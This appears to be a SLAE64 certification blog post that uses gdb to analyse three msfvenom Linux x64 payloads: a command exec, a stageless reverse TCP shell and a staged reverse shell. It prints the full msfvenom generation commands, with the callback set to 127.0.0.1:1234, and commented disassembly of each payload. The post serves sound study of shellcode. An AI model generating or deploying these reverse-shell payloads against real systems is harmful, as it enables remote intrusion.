SLAE64 Assignment 5 - msfvenom shellcode analysis with gdb
because the assignment asks to analyze using gdb, i will not use objdump, ndisasm or any other tool
because i’m using gdb+gef 8.3, i can use the command “starti” that start the executable and interrupt at the very first call and analyze the code.
exec
payload generated with: msfvenom -p linux/x64/exec -f elf CMD=whoami > 05-exec
the journey starts with a: gdb ./05-exec starti
i can now run vmmap, grep, and x/ to analyze the program
vmmap for example show that 0x400000 is rwx
and x/20i 0x400078 (where 0x400078 is starting point) shows us what looks like the main letting us to analyze without actually running it:
gef➤ x/20i 0x400078
; this could be the syscall id, 0x3b is sys_execve
=> 0x400078: push 0x3b
; and it's placed on rax
0x40007a: pop rax
; basing on my former analysis, cdq will also zero edx. not useful to me in 64bit
0x40007b: cdq
; place in rbx the string /bin/sh (with a null!)
0x40007c: movabs rbx,0x68732f6e69622f
; push it on the stack
0x400086: push rbx
; and put a pointer to /bin/sh in rdi. this is required for execve syscall
0x400087: mov rdi,rsp
; rsi will hold arguments, therefore the code pushes -c to have
; executed: /bin/sh -c
0x40008a: push 0x632d
0x40008f: mov rsi,rsp
0x400092: push rdx
; i saw this call also on 32bit release, and i loved it. this fools
; linear disassembler. let's skip everything and do a x/20i 0x40009f
0x400093: call 0x40009f
0x400098: ja 0x400102
0x40009a: outs dx,DWORD PTR ds:[rsi]
0x40009b: (bad)
0x40009c: ins DWORD PTR es:[rdi],dx
0x40009d: imul eax,DWORD PTR [rax],0x89485756
0x4000a3: out 0xf,al
0x4000a5: add eax,0x0
0x4000aa: add BYTE PTR [rax],al
0x4000ac: add BYTE PTR [rax],al
0x4000ae: add BYTE PTR [rax],al
let’s explore 0x40009f:
gef➤ x/20i 0x40009f
; the call moves RIP here. we see that something from rsi is pushed, rsi
; was -c. also rdi is pushed, and we know that rdi was a pointer to
; /bin/sh
0x40009f: push rsi
0x4000a0: push rdi
; then, a pointer to the command is placed at rsi that holds arguments
0x4000a1: mov rsi,rsp
; we expect that /bin/sh -c is runt here, because we don't see anything
; else, so i'm running gdb step by step and i actually see that the
; stack starts with a string at the first push rsi. skip this analysis
; and move
0x4000a4: syscall
here is the stack when RIP is at 0x40009f:
0x00007fffffffe420│+0x0000: 0x0000000000400098 → 0x5600696d616f6877 ("whoami"?) ← $rsp
0x00007fffffffe428│+0x0008: 0x0000000000000000
0x00007fffffffe430│+0x0010: 0x000000000000632d ("-c"?) ← $rsi
0x00007fffffffe438│+0x0018: 0x0068732f6e69622f ("/bin/sh"?) ← $rdi
and at 0x4000a1 (mov rsi,rsp):
0x00007fffffffe410│+0x0000: 0x00007fffffffe438 → 0x0068732f6e69622f ("/bin/sh"?) ← $rsp
0x00007fffffffe418│+0x0008: 0x00007fffffffe430 → 0x000000000000632d ("-c"?)
0x00007fffffffe420│+0x0010: 0x0000000000400098 → 0x5600696d616f6877 ("whoami"?)
0x00007fffffffe428│+0x0018: 0x0000000000000000
we clearly see that the code executes /bin/sh -c whoami
reverse stageless
payload generated with: msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1234 -f elf > 05-reversetcp_stageless
journey starts with a:
gdb ./05-reversetcp_stageless
starti
reading the first 8 instructions, i see that the sys_socket syscall is created with an AF_INET STREAM (tcp).
→ 0x400078 push 0x29
0x40007a pop rax
0x40007b cdq
0x40007c push 0x2
0x40007e pop rdi
0x40007f push 0x1
0x400081 pop rsi
0x400082 syscall
should be safe to run until 0x400082, so i just b *0x400082 and c
just after the syscall, we can see another one is prepared:
; everything starts by saving rax to rdi, for socket syscall rax will
; hold socket file descriptor that is needed to interact with socket
; itself
0x400084: xchg rdi,rax
; lot of nulls here, a basic "hex2ip" gives a 127.0.0.1 in little endian
; just the first 4 bytes are considered here of course for the ip, let's
; go down to see what could be that 0x2040002
; at 0x400097 i see that 0x2a is the syscallid, that is sys_connect.
; i therefore expect rdi as socketfd, rsi as sockaddr struct, and rdx as
; addrlen
; given that this hex will go to rsi, i can guess that it's the struct.
; so: last 0002 will be family, and remaining bytes (d204) the port in
; little endian again: 1234
0x400086: movabs rcx,0x100007fd2040002
0x400090: push rcx
0x400091: mov rsi,rsp
; as said, rds will hold address length, which is 0x10
0x400094: push 0x10
0x400096: pop rdx
; and the real syscall sys_connect
0x400097: push 0x2a
0x400099: pop rax
0x40009a: syscall
let’s b *0x40009a to easily jump over already analyzed code and c
following syscall is quite small, analyze line by line:
; put 3 in rsi and decrement: like push 0x2
0x40009c push 0x3
0x40009e pop rsi
0x40009f dec rsi
; place 0x21 in rax, which is sys_dup2 syscall, and do the call for rsi 2 (STDERR)
0x4000a2 push 0x21
0x4000a4 pop rax
0x4000a5 syscall
; this jump occurs, acting as loop by creating the needed fd also for STDOUT and STDIN
0x4000a7 jne 0x40009f
after that, we will x/20i 0x4000a9 to see following 20 instructions, that i’ll analyze line by line:
; 0x3b is our beloved sys_execve, when she's in rax we know something
; good (or bad) will happen
0x4000a9: push 0x3b
0x4000ab: pop rax
; zero stuff again
0x4000ac: cdq
; move /bin/sh to rbx, that holds binary that will be executed
0x4000ad: movabs rbx,0x68732f6e69622f
0x4000b7: push rbx
; and place a pointer to rdi
0x4000b8: mov rdi,rsp
0x4000bb: push rdx
0x4000bc: push rdi
; prepare arguments, as already discussed for 05-exec
0x4000bd: mov rsi,rsp
; and do the call
0x4000c0: syscall
reverse staged
payload generated with: msfvenom -p linux/x64/shell/reverse_tcp LHOST=127.0.0.1 LPORT=1234 -f elf > 05-reversetcp_staged
i expect this payload to be more interesting to analyze because of the stager. let’s go:
gdb ./05-reversetcp_staged
starti
analyze the first 20 instruction, to see what will happen:
gef➤ x/20i 0x400078
=> 0x400078: xor rdi,rdi
; 0x9 syscall refers to sys_mmap, let's man it:
; void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
; ^^ rdi, ^^ rsi, ^^ rdx, ^^ r10, ^^ r8, ^^ r9);
0x40007b: push 0x9
0x40007d: pop rax
0x40007e: cdq
; interesting move here, they split dx in dh+dl as saw at 0x40008b
; resulting protection will be 1007, that means rwx
0x40007f: mov dh,0x10
; and to reuse code, they also put dh (0x10, but it's really 0x1000 so 4096 bytes)
; in rdx to specify length
0x400081: mov rsi,rdx
; zero offset, to start from the very beginning of already xored rdi
0x400084: xor r9,r9
; 0x22 flag could be like 0x20+0x2, that reading from grep -r \ MAP_ /usr/include/
; leads to PRIVATE and ANONYMOUS
0x400087: push 0x22
0x400089: pop r10
0x40008b: mov dl,0x7
; do the actual mmap
0x40008d: syscall
after the syscall, i will x/20i 0x40008d:
; if everythings ok, go on
0x40008f: test rax,rax
0x400092: js 0x4000e5
0x400094: push 0xa
0x400096: pop r9
0x400098: push rax
; syscall id 0x29 is sys_socket, we can skim this because already
; analyzed for the stageless payload
0x400099: push 0x29
0x40009b: pop rax
0x40009c: cdq
0x40009d: push 0x2
0x40009f: pop rdi
0x4000a0: push 0x1
0x4000a2: pop rsi
0x4000a3: syscall
let’s x/20i 0x4000a5 to read the code after syscall:
; at 0x4000bd we see that the syscall will be sys_connect. struct is
; defined at 0x4000ac and points to 127.0.0.1:1234 as discussed for the
; stageless one
0x4000a5: test rax,rax
0x4000a8: js 0x4000e5
0x4000aa: xchg rdi,rax
0x4000ac: movabs rcx,0x100007fd2040002
0x4000b6: push rcx
0x4000b7: mov rsi,rsp
0x4000ba: push 0x10
0x4000bc: pop rdx
0x4000bd: push 0x2a
0x4000bf: pop rax
0x4000c0: syscall
; fast forward to 0x4000c2, and x/20i 0x4000c2:
; at 0x4000ce we see that the syscall will be sys_nanosleep
; this means that the code will sleep 5 seconds (defined at 0x4000d3)
; after the connect
0x4000c2: pop rcx
0x4000c3: test rax,rax
; if everithing's fine, go *after* an exit call
; else, loop using r9 as counter (set to 0xa at 0x400096) to retry the connection
0x4000c6: jns 0x4000ed
0x4000c8: dec r9
; and jumps to 0x4000e5 as soon as the connection is established
0x4000cb: je 0x4000e5
0x4000cd: push rdi
0x4000ce: push 0x23
0x4000d0: pop rax
0x4000d1: push 0x0
0x4000d3: push 0x5
0x4000d5: mov rdi,rsp
0x4000d8: xor rsi,rsi
0x4000db: syscall
looks harmless again, because just waits for something and doesn’t “elaborate”. yet. b *0x4000dd after the syscall and x/20i 0x4000dd:
; this code basically exit if there is an error, from 0x4000e5 is also used as
; neat exit before
0x4000dd: pop rcx
0x4000de: pop rcx
0x4000df: pop rdi
0x4000e0: test rax,rax
0x4000e3: jns 0x4000ac
0x4000e5: push 0x3c
0x4000e7: pop rax
0x4000e8: push 0x1
0x4000ea: pop rdi
0x4000eb: syscall
; if connect will not raises issue, we land here.
; this syscall isactually a read, because rax is 0x0 from last syscall
; she reads input from connection and put it at rsi, jumps to 0x4000e5 (neat exit)
; if there is any issue or jmp to rsi by executing the code
0x4000ed: pop rsi
0x4000ee: push 0x26
0x4000f0: pop rdx
0x4000f1: syscall
0x4000f3: test rax,rax
0x4000f6: js 0x4000e5
0x4000f8: jmp rsi
this code is not malicious per-se, everything depends on what she receives of course.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ SLAE64-1497